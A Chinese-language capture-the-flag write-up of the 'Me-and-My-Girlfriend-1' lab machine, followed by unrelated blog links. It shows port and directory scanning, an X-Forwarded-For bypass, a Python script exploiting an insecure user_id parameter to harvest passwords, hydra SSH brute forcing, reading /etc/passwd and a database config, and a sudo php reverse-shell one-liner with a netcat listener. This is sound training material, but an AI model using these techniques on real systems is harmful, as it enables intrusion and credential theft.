Me-and-My-Girlfriend-1
Me-and-My-Girlfriend-1
1 信息收集

1.1 端口扫描
┌──(kali㉿kali)-[~]
└─$ nmap -sV -T4 -p - 192.168.0.3
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-07 19:54 CST
Nmap scan report for 192.168.0.3
Host is up (0.00049s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
1.2 后台目录扫描
┌──(kali㉿kali)-[~]
└─$ dirsearch -u http://192.168.0.3/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[20:43:35] Starting:
[20:43:35] 301 - 308B - /misc -> http://192.168.0.3/misc/
[20:43:38] 301 - 310B - /config -> http://192.168.0.3/config/
[20:56:50] 200 - 120B - /index.php
[20:56:58] 200 - 32B - /robots.txt
[20:47:35] 403 - 291B - /server-status
Task Completed
1.2.1 目录分析
访问
http://192.168.0.3/发现有IP限制,查看页面代码信息,发现需要利用X-Forwarded-For Header绕过
火狐下载插件:
X-Forwarded-For Header,并配置IP地址为:127.0.0.1,请求头选择X-Forwarded-For
利用
X-Forwarded-For Header插件成功访问到目标网站:http://192.168.0.3/?page=index
在目标网站上注册test用户

成功登录后台:
http://192.168.0.3/index.php?page=dashboard
在
http://192.168.0.3/index.php?page=profile&user_id=12页面尝试水平越权,将user_id=12改为user_id=1

# 通过水平越权得到注册的用户信息如下:
Eweuh Tandingan
eweuhtandingan
skuyatuh
编写脚本尝试获取所有用户的账号密码:
import requests, re def get_user_pass(uid):
uid = uid
t_url = 'http://192.168.0.3/index.php?page=profile&user_id=%s' % uid
t_cookie = {
"PHPSESSID":"ua2kg2n1inkvdbdcohitotsgg5"
}
t_headers = {"X-Forwarded-For":"127.0.0.1"}
getreq = requests.get(url=t_url, cookies=t_cookie,headers=t_headers).text
# match name
getname = re.search( "id=\"name\" value=\"(.*?)\">",getreq).group(1)
# match username
getusername = re.search( "id=\"username\" value=\"(.*?)\">",getreq).group(1)
# match passwd
getpasswd = re.search( "id=\"password\" value=\"(.*?)\">",getreq).group(1)
return getname,getusername,getpasswd
if __name__ == '__main__':
for i in range(20):
getname,getusername,getpasswd = get_user_pass(i)
if getname:
print("%s:%s"%(getusername,getpasswd))
得到以下结果:
eweuhtandingan:skuyatuh
aingmaung:qwerty!!!
sundatea:indONEsia
sedihaingmah:cedihhihihi
alice:4lic3
abdikasepak:dorrrrr
test:Admin123
http://192.168.0.3/robots.txt
http://192.168.0.3/heyhoo.txt
2 GetShell
2.1 利用收集的信息尝试ssh登录目标主机
# hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -C user-pass ssh://192.168.0.3
# 得到:ssh登录账号与密码
alice:4lic3
-C: FILE 文件格式为 "login:pass"

2.2 成功登录
# 获得第一个flag
alice@gfriEND:~$ cat .my_secret/flag1.txt
Greattttt my brother! You saw the Alice's note! Now you save the record information to give to bob! I know if it's given to him then Bob will be hurt but this is better than Bob cheated!
Now your last job is get access to the root and read the flag ^_^
Flag 1 : gfriEND{2f5f21b2af1b8c3e227bcf35544f8f09}
3 提权
3.1 尝试提权
sudo su -提权失败
3.2 收集当前系统信息
查看
/etc/passwdroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
landscape:x:103:109::/var/lib/landscape:/bin/false
alice:x:1000:1001:Alice Geulis,1337,+62,+62:/home/alice:/bin/bash
eweuhtandingan:x:1001:1002:,,,:/home/eweuhtandingan:/bin/bash
aingmaung:x:1002:1003:,,,:/home/aingmaung:/bin/bash
sundatea:x:1003:1004:,,,:/home/sundatea:/bin/bash
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:105:113:MySQL Server,,,:/var/lib/mysql:/bin/false
SUID提权:没啥可利用的
alice@gfriEND:~$ find / -perm -u=s 2>/dev/null
/bin/ping6
/bin/ping
/bin/umount
/bin/mount
/bin/su
/bin/fusermount
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/mtr
/usr/bin/pkexec
/usr/bin/at
/usr/bin/traceroute6.iputils
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/sudo
/usr/sbin/uuidd
/usr/sbin/pppd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
查看当前系统中的用户所创建的文件:没啥东东
alice@gfriEND:~$ find / -user 1000 2>/dev/null
/home/alice
/home/alice/.bashrc
/home/alice/.cache
/home/alice/.cache/motd.legal-displayed
/home/alice/.bash_logout
/home/alice/.bash_history
/home/alice/.profile
/home/alice/.my_secret
/home/alice/.my_secret/my_notes.txt
alice@gfriEND:~$ find / -user 1001 2>/dev/null
/home/eweuhtandingan
/home/eweuhtandingan/.bashrc
/home/eweuhtandingan/.bash_logout
/home/eweuhtandingan/.profile
alice@gfriEND:~$ find / -user 1002 2>/dev/null
/home/aingmaung
/home/aingmaung/.bashrc
/home/aingmaung/.bash_logout
/home/aingmaung/.profile
alice@gfriEND:~$ find / -user 1003 2>/dev/null
/home/sundatea
/home/sundatea/.bashrc
/home/sundatea/.bash_logout
/home/sundatea/.profile
alice@gfriEND:~$
查找敏感文件
alice@gfriEND:/var/www/html$ cat config/config.php
<?php $conn = mysqli_connect('localhost', 'root', 'ctf_pasti_bisa', 'ceban_corp');
alice@gfriEND:/var/www/html$
查看当前alice用户是否拥有sudo权限
alice@gfriEND:~$ sudo -l
Matching Defaults entries for alice on gfriEND:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User alice may run the following commands on gfriEND:
(root) NOPASSWD: /usr/bin/php
3.3 sudo php提权
alice@gfriEND:~$ sudo php -r '$sock=fsockopen("192.168.0.2",2333);exec("/bin/bash -i <&3 >&3 2>&3");'
┌──(kali㉿kali)-[~]
└─$ nc -nvlp 2333
listening on [any] 2333 ...
connect to [192.168.0.2] from (UNKNOWN) [192.168.0.3] 57734
root@gfriEND:~# cat flag2.txt
________ __ ___________.__ ___________.__ ._.
/ _____/ _____/ |_ \__ ___/| |__ ____ \_ _____/| | _____ ____| |
/ \ ___ / _ \ __\ | | | | \_/ __ \ | __) | | \__ \ / ___\ |
\ \_\ ( <_> ) | | | | Y \ ___/ | \ | |__/ __ \_/ /_/ >|
\______ /\____/|__| |____| |___| /\___ > \___ / |____(____ /\___ /__
\/ \/ \/ \/ \//_____/ \/
Yeaaahhhh!! You have successfully hacked this company server! I hope you who have just learned can get new knowledge from here :) I really hope you guys give me feedback for this challenge whether you like it or not because it can be a reference for me to be even better! I hope this can continue :)
Contact me if you want to contribute / give me feedback / share your writeup!
Twitter: @makegreatagain_
Instagram: @aldodimas73
Thanks! Flag 2: gfriEND{56fbeef560930e77ff984b644fde66e7}
root@gfriEND:/root#
Me-and-My-Girlfriend-1的更多相关文章
- 2016暑假多校联合---To My Girlfriend
2016暑假多校联合---To My Girlfriend Problem Description Dear Guo I never forget the moment I met with you. ...
- hdu 5800 To My Girlfriend + dp
传送门:hdu 5800 To My Girlfriend 题意:给定n个物品,其中i,j必选,l,m必不选,问组成体积为s的方法一共有多少种 思路:定义dp[i][j][s1][s2],表示前i种物 ...
- What am I missing out in life if I don't have a girlfriend?
http://www.quora.com/What-am-I-missing-out-in-life-if-I-dont-have-a-girlfriend/answer/Kelly-Erickson ...
- HDU 5800 To My Girlfriend 背包
题目链接: http://acm.hdu.edu.cn/showproblem.php?pid=5800 To My Girlfriend Time Limit: 2000/2000 MS (Java ...
- hdu_5800_To My Girlfriend(变种背包)
题目链接:hdu_5800_To My Girlfriend 题意: 给你n和物品和一个重量m,让你求 题解: To My Girlfriend 令dp[i][j][s1][s2]表示前i个物品填了j ...
- 一本通1623Sherlock and His Girlfriend
1623:Sherlock and His Girlfriend 时间限制: 1000 ms 内存限制: 524288 KB [题目描述] 原题来自:Codeforces Round ...
- hdu 5800 To My Girlfriend(背包变形)
To My Girlfriend Time Limit: 2000/2000 MS (Java/Others) Memory Limit: 65536/65536 K (Java/Others) ...
- hdu5800 To My Girlfriend dp 需要比较扎实的dp基础。
To My Girlfriend Time Limit: 2000/2000 MS (Java/Others) Memory Limit: 65536/65536 K (Java/Others) ...
- <2013 08 17> BucketList of girlfriend
BucketList of girlfriend 1.出国旅游 2.跟相爱的人结婚,生个健康可爱的孩子 3.说一口流利的英语 4.学素描和水彩 5.买个雅马哈钢琴,偶尔学着弹一首曲子 6.把泪腺堵住 ...
- 「CF779B」「LOJ#10201.」「一本通 6.2 练习 4」Sherlock and His Girlfriend(埃氏筛
题目描述 原题来自:Codeforces Round #400 B. Sherlock 有了一个新女友(这太不像他了!).情人节到了,他想送给女友一些珠宝当做礼物. 他买了 nnn 件珠宝.第 iii ...
随机推荐
- Springboot 整合 SpringCache 使用 Redis 作为缓存
一直以来对缓存都是一知半解,从没有正经的接触并使用一次,今天腾出时间研究一下缓存技术,开发环境为OpenJDK17与SpringBoot2.7.5 SpringCache基础概念 接口介绍 首先看看S ...
- Kettle:跨库(SQLServer->PostgreSQL)同步多张表数据的详细设计过程
〇.参考地址 1.多个Excel实现同步 https://www.wangt.cc/2021/05/kettle%E5%A4%9A%E4%B8%AA%E8%A1%A8%E4%B8%80%E8%B5%B ...
- Maven工程卡在Resolving Maven dependencies,长时间不变
添加:-Xms1024m -Xmx2048m 点apply.ok 秒解决
- Qt操作Json小结
Qt操作Json 1.QJsonDocument 1.详细说明 QJsonDocument类提供了读写JSON文档的方法. QJsonDocument是一个封装了完整JSON文档的类,可以从基于UTF ...
- 用 Java?试试国产框架 Solon v1.11.5(带视频)
一个更现代感的 Java 应用开发框架:更快.更小.更自由.没有 Spring,没有 Servlet,没有 JavaEE:独立的轻量生态.主框架仅 0.1 MB. @Controller public ...
- P1314 聪明的质监员(题解)
题目 小 T 是一名质量监督员,最近负责检验一批矿产的质量.这批矿产共有 \(n\) 个矿石,从 \(1\) 到 \(n\) 逐一编号,每个矿石都有自己的重量 \(w_i\) 以及价值 \(v_i\) ...
- 【转载】EXCEL VBA 工作表拆分
用VBA拆分工作表是一个不错的方法,特别是在处理大量数据的时候,能节省不少时间. 1.高级筛选: 筛选并复制到新工作表的关键代码如下: Range("Database").Ad ...
- 工业数据分析为什么要用FusionInsight MRS IoTDB?
摘要:MRS IoTDB,它是华为FusionInsight MRS大数据套件中的时序数据库产品,在深度参与Apache IoTDB社区开源版的基础上推出的高性能企业级时序数据库产品. 本文分享自华为 ...
- [论文总结] Genecology and Adaptation of Forest Trees 林木的基因生态学与适应性
文章目录 介绍 进化的力量 基因学方法 种源试验 短期基因检测实验 表型与遗传估计 差异化 基因学趋势 预测对气候变化的反应 介绍 基因生态学是研究种内遗传变异与环境条件的关系.它揭示了种群适应环境的 ...
- JSONObject 相关
/** * 将json转为对应实体类 */ public static Object jsonToJavaObj(String json, Class cs) { return jsonToJavaO ...